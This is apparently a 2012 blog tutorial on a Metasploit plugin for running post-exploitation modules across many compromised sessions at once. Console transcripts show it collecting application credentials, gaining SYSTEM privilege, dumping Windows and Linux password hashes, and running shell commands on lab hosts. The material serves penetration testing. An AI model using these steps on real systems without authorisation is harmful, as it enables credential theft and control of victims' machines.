Navigation
« Tip on Using My GitHub Repos | Main | SpaceWalk 1.5 Basic Installation for Package Management »
Sunday
Jan292012

Metasploit Pentest Plugin Part 2

This is the second part of my Pentest Metasploit plugin. This part will cover the post exploitation commands this plugin adds. First I would like to cover the thought process of this commands. The commands came from some modules I pushed and then had to pull from the Metasploit Framework around summer of 2011 that sadly did not comply with some of the rules on what modules where supposed to do and the post mixin did not allowed me to do. I created a Metasploit plugin that added the functionality of the modules I wrote to the console, the initial plugin is called auto post and can be found in my GitHub account https://github.com/darkoperator/Metasploit-Plugins Several of the main design features I took when developing this section of the pentest plugin where:

  • Provide a way to run post modules where I could select the sessions to run the modules against.
  • Do not pollute the datastore with Global variables like it would be needed with a resource file.
  • Check that thee session is a compatible one before running the module.
  • Allow to automate some of the most common tasks like password collection from applications and the OS user credentials.
  • Allow the setting os several variables per module in a resource file in an easy manner so each module could be executed in a manner that would produce the best results.

To use the plugin you only need to download it from my GitHub account and place it in either ~.msf/plugins or in you Metasploit root folder plugins directory for use, sadly at the moment of this writing the tab completion for when loading the plug in will only work if the plugin is on the Metasploit plugins folder of the install and not the hidden home folder.

Sessions that will be used for showing the plugin usage:

msf  exploit(handler) > sessions -l

Active sessions
===============

Id  Type                   Information                                      Connection
--  ----                   -----------                                      ----------
1   shell linux                                                             192.168.1.100:4448 -> 192.168.1.229:47760
2   meterpreter x86/win32  TEST-01BCDAF47C\Administrator @ TEST-01BCDAF47C  192.168.1.100:4444 -> 192.168.1.113:1858
3   meterpreter x86/win32  WIN-YR4V852V71Y\Administrator @ WIN-YR4V852V71Y  192.168.1.100:4444 -> 192.168.1.156:49183
4   shell windows          Microsoft Windows [Version 6.1.7601]             192.168.1.100:4447 -> 192.168.1.225:49582
5   shell linux                                                             192.168.1.100:4448 -> 192.168.1.119:33595

Loading the module:

msf  exploit(handler) > load pentest 
postauto plugin loaded.
[*] Successfully loaded plugin: pentest

The Post Exploitation commands addd are:

Postauto Commands
=================

    Command             Description
    -------             -----------
    app_creds           Run application password collection modules against specified sessions.
    multi_cmd           Run shell command against several sessions
    multi_meter_cmd     Run a Meterpreter Console Command against specified sessions.
    multi_meter_cmd_rc  Run resource file with Meterpreter Console Commands against specified sessions.
    multi_post          Run a post module against specified sessions.
    multi_post_rc       Run resource file with post modules and options against specified sessions.
    sys_creds           Run system password collection modules against specified sessions.

Lets take a look at the app_creds command, this command will run all post exploitation modules that gather credentials from installed applications, first lets take a look at the options it provide:

msf  exploit(handler) > app_creds -h

OPTIONS:

    -h        Command Help
    -s <opt>  Sessions to run modules against. Example <all> or <1,2,3,4>

The options are quite simple we can tell it what sessions we want to run in a comma separated list or just type 'all' and have it run against all sessions. Lets run it against all the current sessions:

msf > app_creds -s all

Running windows/gather/credentials/wsftp_client against 2

[*] Checking Default Locations...
[*] C:\Documents and Settings\Administrator\Application Data\Ipswitch\WS_FTP\Sites\ws_ftp.ini not found ....
[*] C:\Documents and Settings\Administrator\Application Data\Ipswitch\WS_FTP Home\Sites\ws_ftp.ini not found ....

Running windows/gather/credentials/wsftp_client against 3
[*] Checking Default Locations...
[*] C:\Users\charlie\AppData\Roaming\Ipswitch\WS_FTP\Sites\ws_ftp.ini not found ....
[*] C:\Users\charlie\AppData\Roaming\Ipswitch\WS_FTP Home\Sites\ws_ftp.ini not found ....
[*] C:\Users\Administrator\AppData\Roaming\Ipswitch\WS_FTP\Sites\ws_ftp.ini not found ....
[*] C:\Users\Administrator\AppData\Roaming\Ipswitch\WS_FTP Home\Sites\ws_ftp.ini not found ....

Running windows/gather/credentials/winscp against 2
[*] Looking for WinSCP.ini file storage...
[*] WinSCP.ini file NOT found...
[*] Looking for Registry Storage...
[*] No WinSCP Registry Keys found!
[*] Done!

Running windows/gather/credentials/winscp against 3
[*] Looking for WinSCP.ini file storage...
[*] WinSCP.ini file NOT found...
[*] Looking for Registry Storage...
[*] No WinSCP Registry Keys found!
[*] Done!
………

Running multi/gather/filezilla_client_cred against 4
[*] No users found with a FileZilla directory

Running multi/gather/filezilla_client_cred against 5
[*] Checking for FileZilla Client profile in: /home/carlos
[*] Checking for FileZilla Client profile in: /home/lost+found
[*] Checking for FileZilla Client profile in: /root
[*] No users found with a FileZilla directory

The command will run each module sequentially against the current sessions, output of each of the commands is shown as they are executed. The credential harvesting post modules save their results in the credentials table. To look at the just issue the command creds, another thing is that the target host for this credentials are also stored in the hosts table:

msf  exploit(handler) > creds

Credentials
===========

host          port  user    pass      type      active?
----          ----  ----    ----      ----      -------
1.1.1.1       21    carlos  marta     password  true
10.10.1.1     21    test    tessqwwe  password  true
10.10.10.10   21    msf     test      password  true
10.10.10.100  22    test    resroass  password  true
192.168.1.1   21    msf     test      password  true

[*] Found 5 credentials.
msf  exploit(handler) > hosts 

Hosts
=====

address        mac  name             os_name            os_flavor  os_sp  purpose  info  comments
-------        ---  ----             -------            ---------  -----  -------  ----  --------
1.1.1.1                                                                                  
10.10.1.1                                                                                
10.10.10.10                                                                              
10.10.10.100                                                                             
192.168.1.1                                                                              
192.168.1.115       CARLOS-192FCD91  Microsoft Windows  XP         SP3    client

The next command for gathering information is the sys_creds, this command will choose the appropriate credential dumping command depending on the sessions type and OS, in the case of windows system it will attempt to get system privilege to be able to dump the hashes, they to can be found in the creds table and in loot. Options:

msf  exploit(handler) > sys_creds -h

OPTIONS:

    -h        Command Help
    -s <opt>  Sessions to run modules against. Example <all> or <1,2,3,4>

Running the command:

msf  exploit(handler) > sys_creds -s all

...

Running windows/gather/smart_hashdump against 1
[*] Running module against CARLOS-192FCD91
[*] Hashes will be saved to the database if one is connected.
[*] Hashes will be saved in loot in JtR password file format to:
[*] /Users/carlos/.msf4/loot/20120125082528_default_192.168.1.115_windows.hashes_690213.txt
[*] Dumping password hashes...
[*] Trying to get SYSTEM privilege
[+] Got SYSTEM privilege
[*]     Obtaining the boot key...
[*]     Calculating the hboot key using SYSKEY f228f68360a9fbdd929f311d27192e90...
[*]     Obtaining the user list and keys...
[*]     Decrypting user keys...
[*]     Dumping password hashes...
[+]     Administrator:500:bbc1afce0ca1e5eee694e8a550e822f3:7a118f7a2f2b34d61fa19b840b4f5203:::
[+]     HelpAssistant:1000:4ce17cdda3f0d92227a09c3d34957704:8fd71d48142454572de5fa172f579392:::
[+]     SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:520e865e1977f048b70841950e491b2e:::
[+]     HR:1003:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

Running windows/gather/smart_hashdump against 2
[*] Running module against TEST-01BCDAF47C
[*] Hashes will be saved to the database if one is connected.
[*] Hashes will be saved in loot in JtR password file format to:
[*] /Users/carlos/.msf4/loot/20120125082534_default_192.168.1.113_windows.hashes_233919.txt
[*] Dumping password hashes...
[*] Trying to get SYSTEM privilege
[+] Got SYSTEM privilege
[*]     Obtaining the boot key...
[*]     Calculating the hboot key using SYSKEY 4503ffd18cd3ee70d443b159c8626842...
[*]     Obtaining the user list and keys...
[*]     Decrypting user keys...
[*]     Dumping password hashes...
[+]     Administrator:500:bbc1afce0ca1e5eee694e8a550e822f3:7a118f7a2f2b34d61fa19b840b4f5203:::
[+]     HelpAssistant:1000:17520fb9c159a6be8a692d4f186288a5:4ad260d25ad790417f1a4ef3c44103b2:::
[+]     SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:ec48ef68e471506ab31f656bf5741d63:::

Running linux/gather/hashdump against 3
[+] root:$1$1lQhcdo0$QpqLgMYl1r4nerxr9GQDn0:0:0:root:/root:/bin/bash
[+] nscd:!!:28:28:NSCD Daemon:/:/sbin/nologin
[+] vcsa:!!:69:69:virtual console memory owner:/dev:/sbin/nologin
[+] oprofile:!!:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
[+] pcap:!!:77:77::/var/arpwatch:/sbin/nologin
[+] ntp:!!:38:38::/etc/ntp:/sbin/nologin
[+] dbus:!!:81:81:System message bus:/:/sbin/nologin
[+] avahi:!!:70:70:Avahi daemon:/:/sbin/nologin
[+] rpc:!!:32:32:Portmapper RPC user:/:/sbin/nologin
[+] apache:!!:48:48:Apache:/var/www:/sbin/nologin
[+] mailnull:!!:47:47::/var/spool/mqueue:/sbin/nologin
[+] smmsp:!!:51:51::/var/spool/mqueue:/sbin/nologin
[+] sshd:!!:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
[+] xfs:!!:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
[+] rpcuser:!!:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
[+] nfsnobody:!!:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
[+] haldaemon:!!:68:68:HAL daemon:/:/sbin/nologin
[+] gdm:!!:42:42::/var/gdm:/sbin/nologin
[+] carlos:$1$1lQhcdo0$QpqLgMYl1r4nerxr9GQDn0:500:500:Carlos Perez:/home/carlos:/bin/bash
[+] Unshadowed Password File: /Users/carlos/.msf4/loot/20120125082541_default_192.168.1.119_linux.hashes_102504.txt

Running linux/gather/hashdump against 4
[-] You must run this module as root!

Looking at the gathered info using loot since system hashes are saved there:

msf  exploit(handler) > creds

Credentials
===========

host           port  user              pass                                                               type      active?
----           ----  ----              ----                                                               ----      -------
...
192.168.1.113  445   HelpAssistant     17520fb9c159a6be8a692d4f186288a5:4ad260d25ad790417f1a4ef3c44103b2  smb_hash  true
192.168.1.113  445   Administrator     bbc1afce0ca1e5eee694e8a550e822f3:7a118f7a2f2b34d61fa19b840b4f5203  smb_hash  true
192.168.1.113  445   SUPPORT_388945a0  aad3b435b51404eeaad3b435b51404ee:ec48ef68e471506ab31f656bf5741d63  smb_hash  true
192.168.1.115  445   HR                44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4  smb_hash  true
192.168.1.115  445   SUPPORT_388945a0  aad3b435b51404eeaad3b435b51404ee:520e865e1977f048b70841950e491b2e  smb_hash  true
192.168.1.115  445   HelpAssistant     4ce17cdda3f0d92227a09c3d34957704:8fd71d48142454572de5fa172f579392  smb_hash  true
192.168.1.115  445   Administrator     bbc1afce0ca1e5eee694e8a550e822f3:7a118f7a2f2b34d61fa19b840b4f5203  smb_hash  true

[*] Found 12 credentials.
msf  exploit(handler) > loot

Loot
====

host           service  type                          name                              content     info                                path
----           -------  ----                          ----                              -------     ----                                ----
192.168.1.113           windows.hashes                TEST-01BCDAF47C_hashes.txt        text/plain  Windows Hashes                      /Users/carlos/.msf4/loot/20120125082534_default_192.168.1.113_windows.hashes_233919.txt
192.168.1.115           windows.hashes                CARLOS-192FCD91_hashes.txt        text/plain  Windows Hashes                      /Users/carlos/.msf4/loot/20120125082528_default_192.168.1.115_windows.hashes_690213.txt
192.168.1.115           ie.cookies                    ie_cookies.txt                    text/plain  Internet Explorer Cookies           /Users/carlos/.msf4/loot/20120125081022_default_192.168.1.115_ie.cookies_091073.txt
192.168.1.115           ie.history                    ie_history.txt                    text/plain  Internet Explorer Browsing History  /Users/carlos/.msf4/loot/20120125081022_default_192.168.1.115_ie.history_338823.txt
192.168.1.115           windows.autologin.user.creds  windows-autologin-user-creds.csv  text/csv    Windows AutoLogin User Credentials  /Users/carlos/.msf4/loot/20120125080927_default_192.168.1.115_windows.autologi_357557.csv
192.168.1.115           imail.user.creds              imail_user_creds.csv              text/csv    Ipswitch iMail user credentials     /Users/carlos/.msf4/loot/20120125080951_default_192.168.1.115_imail.user.creds_495255.csv
192.168.1.119           linux.hashes                  unshadowed_passwd.pwd             text/plain  Linux Unshadowed Password File      /Users/carlos/.msf4/loot/20120125082541_default_192.168.1.119_linux.hashes_102504.txt
192.168.1.119           linux.passwd                  passwd.tx                         text/plain  Linux Passwd File                   /Users/carlos/.msf4/loot/20120125082541_default_192.168.1.119_linux.passwd_327705.txt
192.168.1.119           linux.shadow                  shadow.tx                         text/plain  Linux Password Shadow File          /Users/carlos/.msf4/loot/20120125082541_default_192.168.1.119_linux.shadow_914385.txt

The next command in the list if the multi_post command, this command allows the running of a specified post modules against a list of sessions or all sessions. The command will check that the options provided are correct during execution and will check that the module is compatible with the session before executing. Recently the option to do tab completion for the module name was added. The options are:

msf > multi_post -h

OPTIONS:

    -h        Command Help
    -m <opt>  Module to run against sessions.
    -o <opt>  Module options.
    -s <opt>  Sessions to run module against. Example <all> or <1,2,3,4>

Lets run the checkvm modules for windows and linux, in the output you will be able to see that the module only executed against those sessions that the module was compatible for:

msf > multi_post -m post/windows/gather/checkvm -s all
Loading windows/gather/checkvm
Running against 2

[*] Checking if CARLOS-192FCD91 is a Virtual Machine .....
[*] This is a VMware Virtual Machine
Running against 3
[*] Checking if TEST-01BCDAF47C is a Virtual Machine .....
[*] This is a VMware Virtual Machine
Running against 4
[*] Checking if WINDEV01 is a Virtual Machine .....
[*] This is a VMware Virtual Machine
msf > multi_post -m post/linux/gather/checkvm -s all
Loading linux/gather/checkvm
Running against 6

[*] Gathering System info ....
[+] This appears to be a VMware Virtual Machine
Running against 7
[*] Gathering System info ....
[+] This appears to be a VMware Virtual Machine

The other multi post command allow the running of modules against multiple session with options using a resource file, this allows you to have several resource files with options already pre-set for specific tasks, tab completion can be use for the resource file name:

msf > multi_post_rc -h

OPTIONS:

    -h         Command Help
    -rc <opt>  Resource file with space separate values <session> <module> <options>, per line.

The RC File:

msf > cat /tmp/checkvm.rc
[*] exec: cat /tmp/checkvm.rc

all post/windows/gather/checkvm
all post/linux/gather/checkvm

Running the RC file:

msf > multi_post_rc -rc /tmp/checkvm.rc 
all post/windows/gather/checkvm
Loading post/windows/gather/checkvm
Running Against 2

[*] Checking if CARLOS-192FCD91 is a Virtual Machine .....
[*] This is a VMware Virtual Machine
Running Against 3
[*] Checking if TEST-01BCDAF47C is a Virtual Machine .....
[*] This is a VMware Virtual Machine
Running Against 4
[*] Checking if WINDEV01 is a Virtual Machine .....
[*] This is a VMware Virtual Machine
all post/linux/gather/checkvm
Loading post/linux/gather/checkvm
Running Against 6
[*] Gathering System info ....
[+] This appears to be a VMware Virtual Machine
Running Against 7
[*] Gathering System info ....
[+] This appears to be a VMware Virtual Machine

When looking at running commands against sessions, there are 2 types of commands that can be executed, Shell commands and Meterpreter console command, for shell commands the multi_cmd command is available:

msf > multi_cmd -h

OPTIONS:

    -c <opt>  Shell command to run.
    -h        Command Help
    -p <opt>  Platform to run the command against. If none given it will run against all.
    -s <opt>  Comma separated list sessions to run modules against.

You can specify a platform for running the command (bsd, solaris, linux and win), the list of sessions and the command to be executed. On windows based system I recommend using the "cmd /c " format and for unix type systems to use the full path for the command, you need the wrap the command in quotes. Since post modules and scripts save their data to loot this command will do the same saving the command output and command ran in loot. Lets run ipconfig against all Windows sessions:

msf > multi_cmd -s all -p win -c "cmd /c ipconfig"
Running cmd /c ipconfig against session 2


Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.1.115
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.1
Running cmd /c ipconfig against session 3


Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.1.113
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.1
Running cmd /c ipconfig against session 4


Windows IP Configuration


Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . : localdomain
   Link-local IPv6 Address . . . . . : fe80::9930:cb9f:3b7e:e92d%10
...

Tunnel adapter Local Area Connection* 9:

   Connection-specific DNS Suffix  . : 
   IPv6 Address. . . . . . . . . . . : 2001:0:4137:9e76:3422:1b95:3f57:fe65
   Link-local IPv6 Address . . . . . : fe80::3422:1b95:3f57:fe65%12
   Default Gateway . . . . . . . . . : ::

Lets run ifconfig against linux systems:

msf > multi_cmd -s all -p linux -c "/sbin/ifconfig -a "
Running /sbin/ifconfig -a  against session 6
eth0      Link encap:Ethernet  HWaddr 00:0C:29:97:CD:08  
          inet addr:192.168.1.119  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe97:cd08/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1297491 errors:1 dropped:0 overruns:0 frame:0
          TX packets:51870 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:205739082 (196.2 MiB)  TX bytes:4346662 (4.1 MiB)
          Interrupt:67 Base address:0x2024 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1567 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1567 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:2116526 (2.0 MiB)  TX bytes:2116526 (2.0 MiB)

sit0      Link encap:IPv6-in-IPv4  
          NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

Running /sbin/ifconfig -a  against session 7
eth0      Link encap:Ethernet  HWaddr 00:0C:29:97:CD:08  
          inet addr:192.168.1.119  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe97:cd08/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1297495 errors:1 dropped:0 overruns:0 frame:0
          TX packets:51874 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:205739404 (196.2 MiB)  TX bytes:4348194 (4.1 MiB)
          Interrupt:67 Base address:0x2024 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1567 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1567 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:2116526 (2.0 MiB)  TX bytes:2116526 (2.0 MiB)

sit0      Link encap:IPv6-in-IPv4  
          NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

For running Meterpreter console commands the multimetercmd command is available it will check if the session specified is a Meterpreter session or not before executing, there is also a resource driven version of the command also:

msf > multi_meter_cmd  -h

OPTIONS:

    -h        Command Help
    -c <opt>  Meterpreter Console Command to run against sessions.
    -s <opt>  Sessions to run Meterpreter Console Command against. Example <all> or <1,2,3,4>

Lets run sysinfo against all sessions:

msf > multi_meter_cmd  -s all -c sysinfo
Running command sysinfo against session 2
Computer        : CARLOS-192FCD91
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
Running command sysinfo against session 3
Computer        : TEST-01BCDAF47C
OS              : Windows XP (Build 2600, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
Running command sysinfo against session 4
Session 5 is not a Meterpreter session!
Session 6 is not a Meterpreter session!
Session 7 is not a Meterpreter session!

As it can be seen the plugin provide many manners to automate post-exploitation tasks during a pentest. As always I hope you find it useful and would love your feedback and any bug report for bugs found.

Reader Comments (6)

Great article and work!

I just didnt understand why your scrpits do not comply with the rules on what modules are supposed to do ?
Do you mean that you wanted to include the scripts as an aux module and the metasploit team refused them?

I think that first scripts like yours start as a PLUGIN and then they may be considered as a module. I really hope to find their way to the package
January 30, 2012 | Unregistered CommenterJohn
I was mixing mixins which caused problems and the post mixing did not allow me to disable the post option, placed them on my github to add later but under the new rules even if I fixed the mixing I would not be able to add them.
January 30, 2012 | Registered CommenterCarlos Perez
Where's part one?
November 18, 2012 | Unregistered CommenterA
Thanks!
November 18, 2012 | Unregistered CommenterA

PostPost a New Comment

Enter your information below to add a new comment.
Author Email (optional):
Author URL (optional):
Post:
 
All HTML will be escaped. Hyperlinks will be created for URLs automatically.